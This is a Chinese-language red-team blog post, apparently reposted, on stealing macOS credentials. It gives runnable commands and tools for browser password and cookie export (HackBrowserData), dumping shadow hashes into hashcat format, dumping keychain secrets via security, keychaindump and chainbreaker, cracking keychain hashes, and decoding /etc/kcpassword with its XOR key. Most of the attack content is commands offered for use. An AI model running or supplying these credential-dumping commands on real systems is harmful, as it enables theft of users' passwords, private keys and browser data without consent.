红队之如何获取Mac OSx Passwords
2022-12-11 01:42:9 Author: Gcow安全团队(查看原文) 阅读量:20 收藏

最近对Mac OSx当中的密码存储比较感兴趣 然后就去网上查了很多资料,而且好像相关的文章比较少。那么对于OSx当中的提权将会放到另外一片文章中来说。

在我个人认为OSx中 主要有几类密码存在如:Browser Passwords(浏览器密码)、Shadow Passwords(影子密码)、Keychain(钥匙串)、kcpassword(登陆密码)。所有的实验都是在我自己的多台电脑测试以及模拟。

本文也将按照这几种密码的分类来说明如何获取各类密码。

Browser password

很多人都会习惯把密码保存在浏览器,那么浏览器密码可以说是重中之重了。

HackBrowserData

HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。

浏览器支持情况
MacOS

由于 MacOS 的安全性设置,基于 Chromium 内核浏览器解密时需要当前用户密码

浏览器密码Cookie书签历史记录
Google Chrome
Google Chrome Beta
Chromium
Microsoft Edge
Brave
Opera
OperaGX
Vivaldi
Yandex
CocCoc
Firefox
Firefox Beta
Firefox Dev
Firefox ESR
Firefox Nightly
Safari
安装运行
安装

可下载已编译好,可直接运行的 二进制文件

某些情况下,这款安全工具会被 Windows Defender 或其他杀毒软件当作病毒导致无法执行。代码已经全部开源,可自行编译。

从源码编译

仅支持 go1.18+ 以后版本,一些函数使用到了泛型

  1. $ git clone https://github.com/moonD4rk/HackBrowserData

  2. $ cd HackBrowserData/cmd/hack-browser-data

  3. $ CGO_ENABLED=1 go build

运行

Shadow Passwords

影子密码与用户的配置一起存储在 /var/db/dslocal/nodes/Default/users/. 以下oneliner可用于转储有关用户的所有信息(包括哈希信息):

  1. for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done

像这个这个这样的脚本可用于将散列转换为hashcat 格式

另一种单行代码将以 hashcat 格式 -m7100(macOS PBKDF2-SHA512) 转储所有非服务帐户的信用:

  1. sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "<a href="#footnote-_"><sup>[_]</sup></a>*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Keychain

Dump

请注意,当使用安全二进制文件转储解密后的密码时,会出现多个提示,要求用户允许此操作。

  1. #security

  2. secuirty dump-trust-settings [-s] [-d] #List certificates

  3. security list-keychains #List keychain dbs

  4. security list-smartcards #List smartcards

  5. security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries

  6. security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)

Keychaindump

攻击者仍然需要获得对系统的访问权限并升级到root权限才能运行keychaindump。这种方法有其自身的条件。如前所述,登录后,您的钥匙串默认解锁,并在您使用系统时保持解锁状态。这是为了方便,这样用户就不需要在每次应用程序希望访问钥匙串时都输入密码。如果用户更改了此设置并选择在每次使用后锁定钥匙串,则钥匙串转储将不再起作用;它依赖于解锁的钥匙串来运行。

了解 Keychaindump 如何从内存中提取密码很重要。此交易中最重要的过程是“安全过程。Apple 将此进程称为授权和加密操作的安全上下文守护进程。Apple 开发人员库对此并没有多说;但是,他们确实告诉我们 securityd 处理对钥匙串的访问。在他的研究中,Juuso将解密钥匙串所需的密钥称为“万能钥匙”。需要采取许多步骤来获取此密钥,因为它是从用户的 OS X 登录密码派生的。如果你想读取钥匙串文件,你必须有这个主密钥。可以执行以下步骤来获取它。执行 securityd 的堆扫描(keychaindump 使用 vmmap 命令执行此操作)。可能的主密钥存储在标记为 MALLOC_TINY 的区域中。您可以使用以下命令自己查看这些堆的位置:

  1. sudo vmmap <securityd PID> | grep MALLOC_TINY

然后Keychaindump将在返回的堆中搜索 0x0000000000000018 的出现。如果以下 8 字节值指向当前堆,我们就找到了一个潜在的主密钥。从这里开始,仍然需要进行一些反混淆,这可以在源代码中看到,但作为分析师,需要注意的最重要部分是解密此信息的必要数据存储在 securityd 的进程内存中。这是钥匙串转储输出的示例。

  1. sudo ./keychaindump

这些工具似乎在 Big Sur 无法使用请在10.15.x及以下使用。

chainbreaker

Chainbreaker可用于以可靠的方式从 OSX 钥匙串中提取以下类型的信息:

  • Hashed Keychain password, suitable for cracking with hashcat or John the Ripper

  • Internet Passwords

  • Generic Passwords

  • Private Keys

  • Public Keys

  • X509 Certificates

  • Secure Notes

  • Appleshare Passwords

给定钥匙串解锁密码,使用volafox或volatility获得的主密钥,或诸如 SystemKey 之类的解锁文件,Chainbreaker 还将提供明文密码。

如果没有这些解锁钥匙串的方法之一,Chainbreaker 将显示所有其他可用信息。

转储钥匙串钥匙
  1. #Dump all keys of the keychain (without the passwords)

  2. python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain

使用 SystemKey 转储钥匙串密钥(带密码)
  1. # First, get the keychain decryption key

  2. # To get this decryption key you need to be root and SIP must be disabled

  3. hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo

  4. ## Use the previous key to decrypt the passwords

  5. python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

转储钥匙串密钥(带密码)破解哈希
  1. # Get the keychain hash

  2. python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain

  3. # Crack it with hashcat

  4. hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt

  5. # Use the key to decrypt the passwords

  6. python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

使用内存转储转储钥匙串密钥(带密码)

按照以下步骤执行内存转储

  1. #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords

  2. # Unformtunately volafox isn't working with the latest versions of MacOS

  3. python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump

  4. #Try to extract the passwords using the extracted keychain passwords

  5. python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

使用用户密码转储钥匙串密钥(带密码)

如果您知道用户密码,您可以使用它来转储和解密属于该用户的钥匙串

  1. #Prompt to ask for the password

  2. python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db

KeychainCracker

macOS 钥匙串破解工具。带有GUI界面。

https://github.com/macmade/KeychainCracker

kcpassword

kcpassword文件是保存用户登录密码的文件,但前提是系统所有者启用了自动登录。因此,用户将自动登录而无需输入密码(这不是很安全)。

密码存储在 /etc/kcpassword与密钥异或的文件中 0x7D0x890x520x230xD20xBC0xDD0xEA0xA30xB90x1F。如果用户密码比密钥长,则密钥将被复用。这使得密码很容易恢复,使用这个的脚本。

结束

其实上面所测试的大部分方式都在较新的OSx系统上无法使用。如果想在新的OSx上使用还需要去看系统的更新内容及改变。

推荐一个靶场,靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全,且出题的思路很好,感兴趣的可以去玩玩


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyNzk2NDcwMw==&mid=2247488101&idx=1&sn=0205d63e140a56bcedefe9660ef228f9&chksm=fa76dd15cd015403454b1ea536dcf947dec4387331e0e9a4214110d0cc29c68161cdb3234b4e#rd
如有侵权请联系:admin#unsafe.sh